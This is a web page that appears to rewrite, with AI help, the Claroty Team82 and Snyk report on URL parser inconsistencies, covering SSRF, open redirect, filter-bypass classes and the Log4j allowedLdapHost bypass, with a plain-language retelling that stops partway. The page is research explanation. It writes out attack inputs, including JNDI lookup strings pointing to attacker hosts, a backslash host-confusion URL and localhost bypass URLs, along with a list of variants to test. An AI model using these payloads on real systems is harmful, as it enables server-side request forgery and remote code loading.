Skip to content
SSRF Write-up Advanced

Exploiting URL Parsers: The Good, Bad, And Inconsistent

The report examines inconsistencies in how different URL parsing libraries interpret URLs, leading to vulnerabilities such as SSRF, XSS, open redirect, filter bypass, and DoS. It describes eight real-world vulnerabilities found in various applications and libraries, including a bypass of Log4j's allowedLdapHost mitigation.

Noam Moshe Follow

Published on web-assets.claroty.com

EXPLOITING URL PARSERS: THE GOOD, BAD, AND INCONSISTENT By Noam Moshe and Sharon Brizinov of Claroty Team82, and Raul Onitza-Klugman and Kirill Efimov of Snyk

Noam Moshe, Sharon Brizinov, Raul Onitza-Klugman (@supriza0), Kirill Efimov (@byte89), on web-assets.claroty.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 24 min read.

Context

URLs are the entry point to almost everything we do online: browsers, applications and servers all receive a URL, parse it into its URI components (hostname, path and so on) and fetch the requested resource. The syntax is complex, and although different libraries can parse URLs accurately, the same URL can be parsed differently by different libraries. That confusion can cause unexpected behaviour in software and can be exploited to cause denial of service, information leaks, or possibly remote code execution.

In joint research between Claroty Team82 and Snyk, we examined 16 URL parsing libraries written in a variety of programming languages and looked for inconsistencies in how each parses a given URL into its basic components. We grouped the inconsistencies into five categories and searched for problematic code flows in web applications and open source libraries. Most of the eight vulnerabilities we found occurred for two reasons:

  1. Multiple parsers in use. Whether by design or oversight, developers sometimes use more than one URL parsing library in a project. Because some libraries parse the same URL differently, vulnerabilities can be introduced.
  2. Specification incompatibility. Different parsing libraries are written according to different RFCs or URL specifications, which creates inconsistencies by design. Developers may not be familiar with the differences between specifications and their implications (what should be checked or sanitised).

Our research was partially based on previous work, including Orange Tsai's presentation "A New Era of SSRF" and Daniel Stenberg's comparison of WHATWG vs. RFC 3986.

Setup

The libraries we examined were: urllib (Python), urllib3 (Python), rfc3986 (Python), httptools (Python), curl lib (cURL), Wget, Chrome (Browser), Uri (.NET), URL (Java), URI (Java), parse_url (PHP), url (NodeJS), url-parse (NodeJS), net/url (Go), uri (Ruby) and URI (Perl). The report elsewhere describes the set as 15 libraries, fetchers and browsers.

We found five categories of inconsistencies: scheme confusion, slashes confusion, backslash confusion, URL encoded data confusion, and scheme mixup. We translated these into five classes of vulnerabilities: server-side request forgery (SSRF), cross-site scripting (XSS), open redirect, filter bypass, and denial of service (DoS). In some cases these could be exploited further, including to remote code execution.

Based on the research and the code patterns we searched, we discovered eight vulnerabilities in existing web applications and third-party libraries written in different languages and used by many popular web applications:

  1. Flask-security (Python, CVE-2021-23385)
  2. Flask-security-too (Python, CVE-2021-32618)
  3. Flask-User (Python, CVE-2021-23401)
  4. Flask-unchained (Python, CVE-2021-23393)
  5. Belledonne's SIP Stack (C, CVE-2021-33056)
  6. Video.js (JavaScript, CVE-2021-23414)
  7. Nagios XI (PHP, CVE-2021-37352)
  8. Clearance (Ruby, CVE-2021-23435)

Finding it

A recent example: the Log4j allowedLdapHost bypass

To understand how dangerous differing URL parsing primitives can be, look at a real-life vulnerability that abused them. In December 2021 a remote code execution vulnerability in the Log4j Java logging library affected millions of servers and applications. The gist is that an attacker-controlled string is evaluated whenever it is logged, resulting in a JNDI (Java Naming and Directory Interface) lookup that connects to an attacker-specified server and loads malicious Java code. A payload triggering it could look like this:

Text
${jndi:ldap://attacker.com:1389/a}

If this string is logged by a vulnerable application, a remote class is loaded into the current Java context.

Because of Log4j's popularity and the vast number of affected servers, patches and countermeasures were introduced. One countermeasure aimed to block any attempt to load classes from a remote source using JNDI. It was made inside the JNDI lookup process: instead of allowing lookups from arbitrary remote sources, JNDI would allow lookups only from a set of predefined whitelisted hosts, allowedLdapHost, which by default contained only localhost. Even if attacker-supplied input is evaluated and a JNDI lookup is made, the lookup fails if the given host is not in the whitelisted set, so an attacker-hosted class is not loaded and the vulnerability is rendered moot.

Soon after this fix, a bypass to the mitigation was found (CVE-2021-45046), which once again allowed the JNDI lookup and the remote class to be loaded and the vulnerability to be exploited for RCE. The bypass payload is:

Text
${jndi:ldap://[redacted]#.evilhost.com:1389/a}

This payload again contains a URL, but the Authority component (host) looks irregular, containing two different hosts: [redacted] and evilhost.com. That is exactly where the bypass lies. Two different URL parsers were used inside the JNDI lookup process, one for validating the URL and another for fetching it, and depending on how each treats the Fragment portion (#) of the URL, the Authority changes too. To validate that the URL's host is allowed, Java's URI class parsed the URL, extracted the host and checked it against the whitelist. Parsed with Java's URI, the URL's host is [redacted], which is whitelisted. However, on certain operating systems (mainly macOS) and specific configurations, when the JNDI lookup process fetches this URL it does not fetch from [redacted]; it makes a request to [redacted]#.evilhost.com. The malicious payload bypasses the allowedLdapHost localhost validation done by the URI parser and still tries to fetch a class from a remote location. Minor discrepancies between URL parsers can create huge security concerns and real-life vulnerabilities.

URLs and RFCs

URLs look simple, containing a host, a path and occasionally a query, but they can be much more complicated. Two principal URL specifications exist today: the URL RFCs by IETF and the WHATWG specifications. They describe the same URL-parsing primitives but differ in places. Different RFC versions have also changed how various URL parts are treated between releases, making backward compatibility difficult. Since 1994 (RFC 1738) there have been many changes, the biggest revisions being RFC 1808 in 1995, RFC 2396 in 1998 and RFC 3986 in 2005:

RFC Year Change
RFC 1738 1994 First definition of URL syntax and components
RFC 1808 1995 Added syntax for relative URLs
RFC 2141 1997 Creation of URN syntax
RFC 2396 1998 Revision of URL and expansion of some components
RFC 2732 1999 Added support for IPv6
RFC 3986 2005 Obsoleting prior standards, defining URL as we know it

Most RFCs defined URLs in a similar way:

Text
scheme://authority/path?query#fragment

For example:

Text
foo://example.com:8042/over/there?name=ferret#nose

Scheme

The scheme defines the protocol to be used (HTTP, HTTPS, FTP and so on) and can define different parsing primitives for the URL components that follow it. The available character set is well defined: lowercase letters, digits, plus sign (+), period (.) and hyphen (-). As of RFC 2396, valid schemes require the first character to be a lowercase letter; prior to that, any combination of the character set was valid as a scheme. In RFC 2396 and RFC 3986 a scheme is defined as:

Text
scheme = ALPHA *( ALPHA / DIGIT / "+" / "-" / "." )

In RFC 1738 and RFC 1808 it is defined as:

Text
scheme = 1*[ lowalpha | digit | "+" | "-" | "." ]

The scheme is the only required component; all others are optional.

Authority/Netloc

This component's name changed from netloc to authority but still refers to the host that holds the wanted resource. It is built from three sub-components:

Text
authority = [ userinfo "@" ] host [ ":" port ]

userinfo is a user:password string, host is either a hostname or an IP address, and port is a digit within the valid port range. As of RFC 2396 the usage of user:password was discouraged, and in RFC 3986 it was deprecated. RFC 2396 says:

Text
Some URL schemes use the format "user:password" in the userinfo field. This practice is NOT RECOMMENDED, because the passing of authentication information in clear text (such as URI) has proven to be a security risk in almost every case where it has been used.

RFC 3986 says:

Path

The path identifies the specific resource that is accessed. It looks like the simplest component but changed the most over the years. In RFC 1738 and RFC 1808 the path depends entirely on the specified scheme. Generally it is built from printable characters specifying a directory path leading to the wanted file. The only reserved characters are a semicolon (;), a forward slash (/) and a question mark (?); these are reserved for protocol-specific settings. The semicolon is reserved for passing parameters to the protocol, for example in the FTP protocol it is used for passing the type opcode:

Text
Url_path = <cwd1>/<cwd2>/.../<cwdN>/<name>;type=<typecode>

RFC 2396 changed how a path is built and defined it this way:

Text
path = [ abs_path | opaque_part ]
path_segments = segment *( "/" segment )
segment = *pchar *( ";" param )
param = *pchar
pchar = unreserved | escaped |
":" | "@" | "&" | "=" | "+" | "$" | ","

The path may consist of a sequence of path segments separated by a single slash "/" character. Within a path segment, the characters "/", ";", "=", and "?" are reserved. Each path segment may include a sequence of parameters, indicated by the semicolon ";" character. The parameters are not significant to the parsing of relative references.

So each path segment (separated by a single slash) could have parameters indicated by a semicolon, relevant to that segment. RFC 3986, which came soon after, removed support for URL parameters and made the path specification close to how it was before, returning to protocol-specific parsing. The FTP protocol retained the usage of its parameters, and the HTTP protocol still did not support them:

Text
path = path-abempty ; begins with "/" or is empty
/ path-absolute ; begins with "/" but not "//"
/ path-noscheme ; begins with a non-colon segment
/ path-rootless ; begins with a segment
/ path-empty ; zero characters
path-abempty = *( "/" segment )
path-absolute = "/" [ segment-nz *( "/" segment ) ]
path-noscheme = segment-nz-nc *( "/" segment )
path-rootless = segment-nz *( "/" segment )
path-empty = 0<pchar>
segment = *pchar
segment-nz = 1*pchar
segment-nz-nc = 1*( unreserved / pct-encoded / sub-delims / "@" )
; non-zero-length segment without any colon ":"
pchar = unreserved / pct-encoded / sub-delims / ":" / "@"

Query

A query is a key-value pair of information that should be accessed, interpreted and used by the resource. As stated in RFC 3986, the query component is indicated by the first question mark (?) character and terminated by a number sign (#) character or by the end of the URI. Within a query component the characters semicolon (;), forward slash (/), question mark (?), colon (:), at-symbol (@), ampersand (&), equal sign (=), plus sign (+), comma (,) and dollar sign ($) are reserved, and if used will be URL encoded. The query component has not changed much over the years.

Fragment

The fragment is the last URL component and is used to identify and access a second resource within the first fetched resource specified by the path component. A fragment component is indicated by the presence of a number sign (#) and is terminated by the end of the URI.

The URL specification has changed significantly during the last 25 years, and parsers should have changed to support the new specifications. Implementing all of these changes while remaining backward compatible is not easy. Furthermore, many URI components use the same reserved characters, which can lead to confusion. For example, the colon (:) is used to specify the URI scheme, the supplied user:password and the port. Common characters can lead parsers into mistakenly separating the wrong parts of the URI.

Relative references

URLs are hierarchical, so relative references are URLs relative to another one. If we have predefined a base URL, say http://www.example.com, and provide a URL starting from the path segment /foo/bar, the parser can resolve these into the absolute URL http://www.example.com/foo/bar. Thus /foo/bar is relative to http://www.example.com. The parser has to be supplied with a base URL to know how to resolve the relative one. RFC 3986 defines three types of relative references:

  • Network-path reference: begins with //, e.g. //example.com
  • Absolute-path reference: begins with /, e.g. /path/foo/bar
  • Relative-path reference: does not begin with /, e.g. path/foo/bar

The last two require an absolute URL to resolve the relative one, but the network-path reference only requires a scheme: //example.com turns into http://example.com if the parser knows it should handle the HTTP protocol. This is exactly what a browser does when asked to fetch a resource from a network-path reference; it resolves it to an absolute URL, usually with the default HTTP scheme. This can have security implications.

WHATWG URL specifications

The Web Hypertext Application Technology Working Group (WHATWG), a community founded by individuals from leading web and technology companies, tried to create an updated, true-to-form URL specification and URL parsing primitive. The WHATWG URL specification (TWUS) is not so different from the latest RFC URL specification (RFC 3986), but minor differences exist. One example: RFC 3986 differentiates between backslashes (\) and forward slashes (/) (forward slashes are a delimiter inside a path component, backslashes are a character with no reserved purpose), while WHATWG states that backslashes should be converted to slashes and then treated as such, largely because most web browsers do not differentiate between the two kinds of slashes and treat them equally.

When WHATWG released its new "Living" URL standard, it broke compatibility with some existing standards and behaviours that contemporary URL parsing libraries followed. These interop issues remain one of the primary reasons why many maintainers of parsing libraries stick to RFC 3986 as much as possible. WHATWG tries to keep the specification more up-to-date and closer to real-world compliant than the RFC specification, but differences between WHATWG and real life still exist, mainly because of the vast range of real-life URL parsing edge cases. A comparison between RFC 3986, WHATWG and real-life parsers can be seen in Daniel Stenberg's (bagder) GitHub repository.

URL Component Interop issues (RFC vs WHATWG) Examples
scheme NO
divider YES / vs. \
userinfo YES Multiple @ in the authority component
hostname YES Supported character-set and IP representation
port number YES Valid port range
path YES Supported character-set
query UNKNOWN
fragment UNKNOWN

This summary of inconsistencies between RFC 3986/7 and the WHATWG URL specification was found by the creator of cURL, Daniel Stenberg. In real life, most web browsers follow the WHATWG URL specification because it is more user-tolerant and accounts for human errors, which meets a browser's aim of working correctly even when encountering malformed URLs.

URL parsing inconsistencies

After reviewing most of the URL RFCs and noticing all the changes over the years, we examined URL parsers to find edge cases that would result in incorrect or unexpected parsing results. We selected 15 different libraries, URL fetchers and browsers, written in different programming languages, and found many inconsistencies, categorised into five categories that we believe are the root causes:

  • Scheme Confusion: a confusion involving URLs with missing or malformed Scheme
  • Slash Confusion: a confusion involving URLs containing an irregular number of slashes
  • Backslash Confusion: a confusion involving URLs containing backslashes (\)
  • URL Encoded Data Confusion: a confusion involving URLs containing URL Encoded data
  • Scheme Mixup: a confusion involving parsing a URL belonging to a certain scheme without a scheme-specific parser

URL syntax is complex and many edge cases arise when non-standard inputs are given to a parser. RFCs try to define as much as possible how a URL should be parsed, but given the number of possible scenarios there will always be edge cases where it is unclear how they should be handled. The inconsistencies are therefore not necessarily a bug in the code, but rather how the developers treated the edge cases.

Scheme confusion

Almost any URL parser is confused when the scheme component is omitted. RFC 3986 clearly determines that the only mandatory part of the URL is the scheme, whereas previous RFC releases (RFC 2396 and earlier) do not specify it, so when it is not present most parsers get confused. Four different Python libraries were given the following input:

Text
google.com/abc

Most parsers state that the host is empty while the path is google.com/abc. However, urllib3 states that the host is google.com and the path is /abc, while httptools complains that the supplied URL is invalid. The underlying fact is that when supplied with such a URL, almost no URL parser parses the URL successfully, because the URL does not follow the RFC specifications. However, when we try to fetch this URL, some parsers are able to successfully parse it with google.com as the hostname, thus fetching the resource correctly. A fetch request using cURL interprets this malformed URL as if it had a default scheme.

Attackers could abuse this inconsistency to bypass validation checks that disallow specific hosts (e.g. localhost [redacted], or cloud instance metadata [redacted]) by omitting the scheme and throwing off the validations done by the first URL parser. An example of a vulnerable code block is seen in the report: the server does not allow requests to be made to the localhost interface. It does this by validating the received URL (using urlsplit) and comparing its netloc (host) to the blacklisted netloc (in this case, localhost and [redacted]). If the given netloc is the same as the blacklisted netlocs, the server does not perform the request and instead throws an exception.

When supplied localhost/secret.txt as the input URL, urlsplit parses this URL as having no netloc, so the check whether the given URL is in the blacklisted netlocs returns "False" and no exception is thrown. However, urllib3 interprets this URL as a valid URL, appending a default scheme of HTTP, thus fetching the blacklisted localhost.

Slash confusion

Another confusion involves a non-standard number of slashes in a URL, specifically in the authority segment. RFC 3986 says a URL authority should start after the scheme, separated by a colon and two forward slashes ://, and persist until the parser reaches the end of a line (EOL) or a delimiter is read; the delimiters are a slash signalling the start of a path component, a question mark signalling the start of a query, or a hashtag signalling a fragment. This specification can introduce parsing differences when not all parsers follow it verbatim. Consider the following URL:

Text
http:///google.com/

Given to our parsers (notice the extra slash), it produces interesting results: most URL parsers interpreted this URL as having no host, instead placing /google.com as the URL's path, which is the desired behaviour according to RFC 3986. We see this result no matter how many extra slashes we add; the only difference is the number of slashes in the path component. Similarly, when supplied with a URL missing a slash after the scheme, we see the same results. The reason parsers think a URL with three or more slashes has no netloc becomes clear when we see how they treat URLs: in all cases they search for // to signify the start of an authority component, which continues until a delimiter is encountered, and one of those delimiters is a slash. Since the URL has another slash immediately after the first two, the parser thinks it reached a delimiter and the end of the authority component, resulting in an empty string as the authority because no characters appeared between the first two slashes and the third one. With only one slash, the parser never finds the start of an authority component, leaving it as an empty string.

Looking into other parsers, we found a group that ignored extra or missing slashes, at least to some degree, accepting malformed URLs with an incorrect number of slashes before the authority component. Most parsers that ignore extra or missing slashes are non-programmatic parsers, which are trusted with receiving a URL and fetching the requested resource. For example, Google Chrome and most modern browsers simply ignore extra slashes, treating the URL as if it was in its correct representation. A request performed inside a browser through JavaScript's fetch directive, fetching a URL with many extra slashes, was fulfilled and the resource was fetched.

Another parser that accepts malformed URLs with missing or extra slashes is cURL. Supplied with a malformed URL, it gives a somewhat similar result: cURL accepts malformed URLs to some degree, accepting either one extra slash or one missing slash, while denying a URL with four or more extra slashes. This is clearly stated in cURL documentation. There is no indication that cURL follows the WHATWG specification blindly; it appears to follow RFC 3986 and extend its capabilities to handle real-world use cases including common human errors and behaviours, such as URLs without a scheme (e.g. example.com instead of http://example.com).

This difference in parsing results exposes a wide range of attack scenarios. Imagine a website with a functionality of fetching resources. By design this could be vulnerable to SSRF, so the website validates the URL, disallowing URLs with a specific hostname to block requests to those hosts. The report shows example code implementing these security checks. Because urlsplit does not ignore extra slashes, it parses a URL with an extra slash as a URL with an empty authority (netloc), thus passing the security check comparing the netloc (an empty string in this case) to google.com. However, since cURL ignores the extra slash, it fetches the URL as if it had only two slashes, bypassing the attempted validation and resulting in an SSRF vulnerability.

Backslash confusion

Another interaction between URL parsers and malformed URLs involves URLs that use a backslash (\) instead of a slash (/). According to RFC 3986, a backslash is an entirely different character from a slash and should not be interpreted as one, so https://google.com and https:\\google.com are different and should be parsed differently. True to the RFC, most programmatic URL parsers do not treat a slash and a backslash interchangeably. The parsing result of the URL http:\\google.com reflects this.

However, when supplied to the Chrome browser (and this result is replicated in most browsers), Chrome chooses to interpret the backslash as if it was a regular slash. An HTTP response telling the browser to redirect the user to https:\\www.google.com through the Location HTTP header, using backslashes instead of slashes, is treated by the browser as if the backslashes were slashes. Taking matters to the extreme, when both slashes and backslashes are used, the browser still accepts the URL and treats it as a valid URL: an HTTP response telling the browser to redirect the user to https:ֿ/\www.google.com through the Location HTTP header, using both backslashes and slashes, is still accepted. This behaviour happens because most browsers follow the WHATWG URL specification (TWUS), which states backslashes should be treated the same as front slashes.

Another example of URL parsers treating backslashes as slashes can be seen inside the regular expressions urllib3 uses to parse a given URL into its different components. urllib3 uses a backslash as a delimiter to its authority component. If an authority contains a backslash, urllib3 splits it and uses only the prefix to the backslash as the authority, instead of concatenating the postfix to the path. This creates a wide range of attack scenarios in which an attacker abuses this parsing primitive by using a backslash inside a URL to confuse different parsers and achieve unexpected results.

One example is giving the following URL to different parsers:

Text
http://evil.com\@google.com/

Following the latest URL RFC, which specifies that a backslash has no special meaning inside a URL authority, we reach the simple conclusion that this URL has the following authority:

Text
Authority = [ userinfo "@" ] host [ ":" port ]
Authority = [ evil.com\ "@" ] google.com

Our host is google.com, while evil.com\ is simply the given userinfo, and looking into how most parsers parse this URL confirms the hypothesised authority. However, since urllib3 treats a backslash as a delimiter to the authority component, its result is not the same. And since the requests Python module uses urllib3 as its main parser (while still using urllib's urlparse and urlsplit in other cases), this gets even more interesting: the malicious URL is parsed by urllib3's parse_url, returning evil.com as the host, and is used in a GET request by the requests library, resulting in evil.com being fetched. In both cases the URL parser concluded that evil.com is the correct authority/host for this URL, since the parser accepts a backslash as a valid delimiter. By abusing this discrepancy between parsers, an attacker could easily bypass many different validations, opening a wide range of possible attack vectors.

URL-encoded data confusion

Another interaction involves URLs containing URL-encoded characters. URL encoding converts non-printable characters to a hex representation with a percent sign (%) as a prefix. This lets non-printable characters be sent inside a URL without sending the actual value, keeping the request completely textual, and doubles as protection from attacks such as CRLF injection or NULL byte injection. Technically, printable characters can also be URL-encoded, and our confusion involves just that. According to RFC 3986, all URL components except the scheme can be represented using URL-encoded characters and should be URL decoded when parsed. While it is common for URL parsers to decode the path component, many parsers do not decode the host, although RFC 3986 clearly states that they should. We tested this with cURL, which did not decode the host component. We reported this behaviour to cURL maintainer Daniel Stenberg, who considered it a bug and fixed it in the latest cURL version. When we supplied our parsers with a URL that has URL-encoded printable characters, most parsers did not URL-decode the URL (the opposite operation of URL-encoding) and instead returned a result containing URL-encoded data. Parsers parsing a URL-encoded form of http://google.com returned a URL-encoded result.

While this seems like the expected result (and it might actually be), an interesting interaction happens whenever we try to fetch this URL. To fetch it we used both urllib's urlopen and requests, Python's most prominent URL fetchers. When we fetched this URL, we discovered that both parsers were actually decoding the URL, and managed to fetch the URL. A fetch request using both urllib and requests, fetching the URL-encoded URL of http://[redacted], was fulfilled in both cases, fetching the requested resource.

Scheme mixup

Scheme mixup is the fifth category: parsing a URL belonging to a certain scheme without a scheme-specific parser. The report names it but does not explain it further.

Exploitation

Step 1: Clearance open redirect (CVE-2021-23435)

Clearance is a Ruby library (CVE-2021-23435). The report's table of contents places the Clearance open redirect vulnerability (CVE-2021-23435) under "Exploiting URL Confusion Vulnerabilities", followed by the question "But isn't the browser the real culprit?". The report does not include the request, payload or code for this case in the text available here.

Step 2: Belledonne's Linphone SIP stack denial of service (CVE-2021-33056)

Belledonne's SIP stack is written in C (CVE-2021-33056). The report's table of contents places the denial of service vulnerability (CVE-2021-33056) under the same exploitation section.

Root cause

The root cause is that URL parsing is not uniform. Libraries follow different RFCs and the WHATWG specification, and they handle edge cases (missing schemes, extra or missing slashes, backslashes, percent-encoded characters) differently. When an application validates a URL with one parser and fetches it with another, the two can disagree about which host is being addressed. The Log4j bypass is the clearest illustration: Java's URI class extracted [redacted] from ${jndi:ldap://[redacted]#.evilhost.com:1389/a}, which passed the allowedLdapHost whitelist, while the fetch path on certain operating systems (mainly macOS) and specific configurations requested [redacted]#.evilhost.com. The same pattern appears in the Python examples: urlsplit sees no netloc in localhost/secret.txt or in a URL with an extra slash, while urllib3 or cURL resolves it to the blacklisted host. Existing defences fail because they are applied by a different parser from the one that performs the request, and because the validation logic assumes the parser's view of the URL matches the fetcher's view.

Impact

The inconsistencies translate into five classes of vulnerabilities: SSRF, XSS, open redirect, filter bypass and DoS. In some cases they can be exploited further to achieve remote code execution. The Log4j bypass allowed a JNDI lookup to load a remote class despite the localhost whitelist, on certain operating systems (mainly macOS) and specific configurations. The Python examples allow bypassing host blacklists such as localhost and [redacted], and the report notes attackers could similarly target cloud instance metadata such as [redacted]. and the backslash example lets an attacker make requests to evil.com while a validator sees google.com. The eight vulnerabilities are in web applications and third-party libraries written in Python, C, JavaScript, PHP and Ruby.

Fix

We reported the cURL host-decoding behaviour to Daniel Stenberg, who considered it a bug and fixed it in the latest cURL version. For the rest, our recommendations are:

  1. Try to use as few different parsers as possible. Using one parser consistently avoids disagreements between validation and fetching.
  2. Transfer a parsed URL across microservice environments. Pass the already-parsed URL rather than the raw string, so each service does not re-parse it differently.
  3. Understand differences in parsers involved with application business logic. Know which parser validates and which fetches, and how each treats edge cases.
  4. Always canonicalise the URL before parsing. Normalise the URL first so that the parser sees a single, consistent form.

Variants to test

  • Missing scheme: send google.com/abc or localhost/secret.txt to an endpoint that validates with one parser and fetches with another. A positive result is the validator seeing an empty host while the fetcher resolves the blacklisted host.
  • Extra or missing slashes: send http:///google.com/ or a URL with one slash after the scheme. A positive result is a validator that sees an empty authority while cURL or a browser fetches the intended host, or a fetcher that rejects four or more extra slashes.
  • Backslashes: send http://evil.com\@google.com/. A positive result is a validator that sees google.com as the host while urllib3 or requests fetches evil.com.
  • Backslash redirects: return a Location header containing https:\\www.google.com or https:ֿ/\www.google.com. A positive result is a browser following the redirect as if the backslashes were slashes.
  • URL-encoded hosts: send a URL-encoded form of http://google.com or http://[redacted]. A positive result is a parser that returns the encoded form while urllib's urlopen or requests decodes it and fetches the resource.
  • Fragment in the authority: send a URL such as ${jndi:ldap://[redacted]#.evilhost.com:1389/a} to a validator that extracts the host with one parser and fetches with another. A positive result is the validator seeing [redacted] while the fetcher requests [redacted]#.evilhost.com, on the affected operating systems and configurations.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 28 min read.

What happened, in plain words

Every time you click a link, type an address into a browser, or open an app that talks to a server, a URL is involved. A URL is the address of something on the internet, like https://www.example.com/page. Before anything can be fetched, the software has to read that address and break it into pieces: which server to talk to, which page to ask for, and so on. That reading-and-breaking-apart step is called parsing, and the piece of software that does it is called a parser.

The problem this research is about is simple to state: different parsers disagree about what a URL means. Give the same text to two parsers and one may say the server is google.com while the other says it is evil.com. If a website uses one parser to check whether an address is safe and a different parser to actually fetch it, an attacker can craft an address that looks safe to the checker but points somewhere dangerous to the fetcher. That gap is the whole idea behind this research.

Claroty Team82 and Snyk looked at 16 URL parsing libraries written in many programming languages. They sorted the disagreements into five categories and then went looking for real software that used two parsers in a way an attacker could exploit. They found eight vulnerabilities in real projects. This article walks through their work from the beginning, explaining each idea as it comes up.

The two reasons this keeps happening

Most of the eight vulnerabilities came from two causes.

  1. Multiple parsers in use. A project may use one library to check a URL and another to fetch it. Each library reads the URL its own way, so the check and the fetch can disagree about where the request is going. Think of two people reading the same handwritten address: one reads the street name, the other reads the flat number, and they post the letter to different doors.
  2. Specification incompatibility. A specification is a written rulebook that says how something should work. For URLs there are several rulebooks, written at different times by different groups, and they do not always agree. A library built to one rulebook will behave differently from a library built to another, even when both are correct by their own rules. Developers often do not know which rulebook their library follows, or what the differences mean for security.

The research also built on earlier work: a talk by Orange Tsai called "A New Era of SSRF" and a comparison of the two main URL rulebooks by Daniel Stenberg, the creator of cURL.

A real example: the Log4j bypass

Before the theory, a real case shows why this matters. In December 2021 a serious flaw was found in Log4j, a very widely used Java library for writing log messages. A log is a running record of what a program did, kept for debugging and auditing. Log4j's job is to write those records.

The flaw was that if an attacker managed to get a special string into a log message, Log4j would act on it. The string contained a JNDI lookup. JNDI (Java Naming and Directory Interface) is a Java feature for looking things up by name, including loading code from a remote server. So a logged string could make the server download and run code chosen by the attacker. That is remote code execution, usually shortened to RCE: the attacker runs their own code on someone else's machine.

The payload looked like this:

Text
${jndi:ldap://attacker.com:1389/a}

Line by line:

  • ${...} tells Log4j that this is not plain text but something to look up and substitute.
  • jndi: says the lookup should use JNDI.
  • ldap:// is the protocol to use for the lookup. LDAP is a directory service protocol; here it is the channel used to reach the attacker's server.
  • attacker.com:1389 is the server to contact and the port (a numbered door on that server) to use.
  • /a is the name of the thing being looked up on that server.

If a vulnerable application logged that string, it would contact attacker.com and load a class (a piece of Java code) from there into its own running program.

Because Log4j was everywhere, defenders rushed out fixes. One fix was a whitelist: a list of things that are allowed, with everything else refused. The setting was called allowedLdapHost, and by default it contained only localhost, meaning the machine itself. The idea was that even if an attacker got a lookup through, it could only reach the local machine, not a remote server, so no attacker code could be loaded.

That fix was bypassed almost immediately. The bypass is tracked as CVE-2021-45046. A CVE is a public catalogue number for a known security flaw, so people can refer to the same bug unambiguously. The bypass payload was:

Text
${jndi:ldap://[redacted]#.evilhost.com:1389/a}

Line by line:

  • ${jndi:ldap://...} is the same lookup instruction as before.
  • [redacted] is the standard address for "this machine", the same thing as localhost.
  • # is the fragment marker in a URL. In a browser, everything after # is normally a pointer to a section inside a page and is not sent to the server.
  • .evilhost.com is the attacker's domain.
  • :1389/a is the port and the name of the resource, as before.

At first glance the host is [redacted], which is on the whitelist. That is exactly what the checking code saw. The check used Java's URI class, a parser, which read the host as [redacted] and let it through. But the code that actually fetched the URL used a different parser. On certain operating systems, mainly macOS, and in specific configurations, that second parser did not treat # as the start of a fragment. It treated the whole thing up to the port as the host, so the request went to [redacted]#.evilhost.com. The whitelist check passed, and the fetch still went to a remote attacker-controlled location.

This is the pattern in one sentence: one parser checked, another fetched, and they disagreed about which host the URL named.

URLs and the rulebooks that define them

We think we know URLs. They look simple: a host, a path, sometimes a query. In reality they are more complicated, and there are two main rulebooks for them.

  • The IETF (Internet Engineering Task Force) publishes RFCs. An RFC is a numbered public document that defines how part of the internet works. For URLs the relevant ones are RFC 1738, 1808, 2396, 3986 and others.
  • The WHATWG (Web Hypertext Application Technology Working Group) is a community founded by people from major web and technology companies. It publishes a "Living" URL standard, meaning it is updated continuously rather than frozen in numbered versions.

Both describe the same basic idea of a URL, but they differ in places. On top of that, the RFCs themselves changed over the years, so a library written in 1998 and one written in 2005 may follow different rules. Keeping old behaviour working while adopting new rules is hard, which is one reason the differences persist.

Since 1994 the biggest revisions were:

RFC Year Change
RFC 1738 1994 First definition of URL syntax and components
RFC 1808 1995 Added syntax for relative URLs
RFC 2141 1997 Creation of URN syntax
RFC 2396 1998 Revision of URL and expansion of some components
RFC 2732 1999 Added support for IPv6
RFC 3986 2005 Obsoleting prior standards, defining URL as we know it

Most of these defined a URL in the same shape:

Text
scheme://authority/path?query#fragment

Line by line:

  • scheme is the protocol, such as http or https.
  • :// is the separator that says the authority comes next.
  • authority is the server part, usually the host name.
  • /path is which resource on that server you want.
  • ?query is extra information passed along, like search terms.
  • #fragment is a pointer to a place inside the resource.

A concrete example from the report:

Text
foo://example.com:8042/over/there?name=ferret#nose

Line by line:

  • foo is the scheme (a made-up one for illustration).
  • example.com is the host.
  • 8042 is the port.
  • /over/there is the path.
  • name=ferret is the query.
  • nose is the fragment.

The scheme

The scheme is the protocol part, such as HTTP, HTTPS or FTP. It can change how the rest of the URL is read, because different protocols have different rules for what follows. The allowed characters are lowercase letters, digits, plus (+), period (.) and hyphen (-). From RFC 2396 onwards the first character had to be a lowercase letter; before that, any combination of those characters was accepted. In RFC 2396 and RFC 3986 the scheme is defined as:

Text
scheme = ALPHA *( ALPHA / DIGIT / "+" / "-" / "." )

Line by line:

  • ALPHA means one letter, and it must come first.
  • * means "zero or more of what follows".
  • ( ALPHA / DIGIT / "+" / "-" / "." ) means any letter, digit, plus, hyphen or period.

In RFC 1738 and RFC 1808 it was defined as:

Text
scheme = 1*[ lowalpha | digit | "+" | "-" | "." ]

Line by line:

  • 1* means at least one of what follows.
  • lowalpha is a lowercase letter.
  • | means "or".
  • The rest lists the allowed characters.

The scheme is the only part that is strictly required. Everything else is optional, which is why a URL without a scheme confuses parsers, as we will see.

The authority (also called netloc)

The authority is the part that names the server holding the resource. Older documents called it netloc, short for network location; the name changed but the meaning did not. It is built from three pieces:

Text
authority = [ userinfo "@" ] host [ ":" port ]

Line by line:

  • [ ... ] means the part inside is optional.
  • userinfo is an optional username and password, written as user:password.
  • "@" separates the userinfo from the host.
  • host is the server name or IP address.
  • ":" port is an optional port number.

Putting a username and password in a URL was discouraged from RFC 2396 onwards and deprecated in RFC 3986. RFC 2396 says:

Text
Some URL schemes use the format "user:password" in the userinfo field. This practice is NOT RECOMMENDED, because the passing of authentication information in clear text (such as URI) has proven to be a security risk in almost every case where it has been used.

Line by line:

  • The first sentence notes that some protocols put user:password in the userinfo field.
  • The second says this is not recommended.
  • The reason is that sending login details in clear text, meaning unencrypted and readable by anyone who sees the traffic, has been a security risk almost every time it has been used.

RFC 3986 goes further:

Line by line:

  • The user:password format is deprecated, meaning it should no longer be used.
  • Applications should not display anything after the first colon in the userinfo, unless there is nothing after the colon (meaning no password was given).
  • Applications may ignore or reject such data when they receive it, and should refuse to store it unencrypted.
  • The last sentence repeats the reason: clear-text credentials have been a security risk almost every time.

This matters later, because the @ and the colon are exactly the characters that different parsers split on differently.

The path

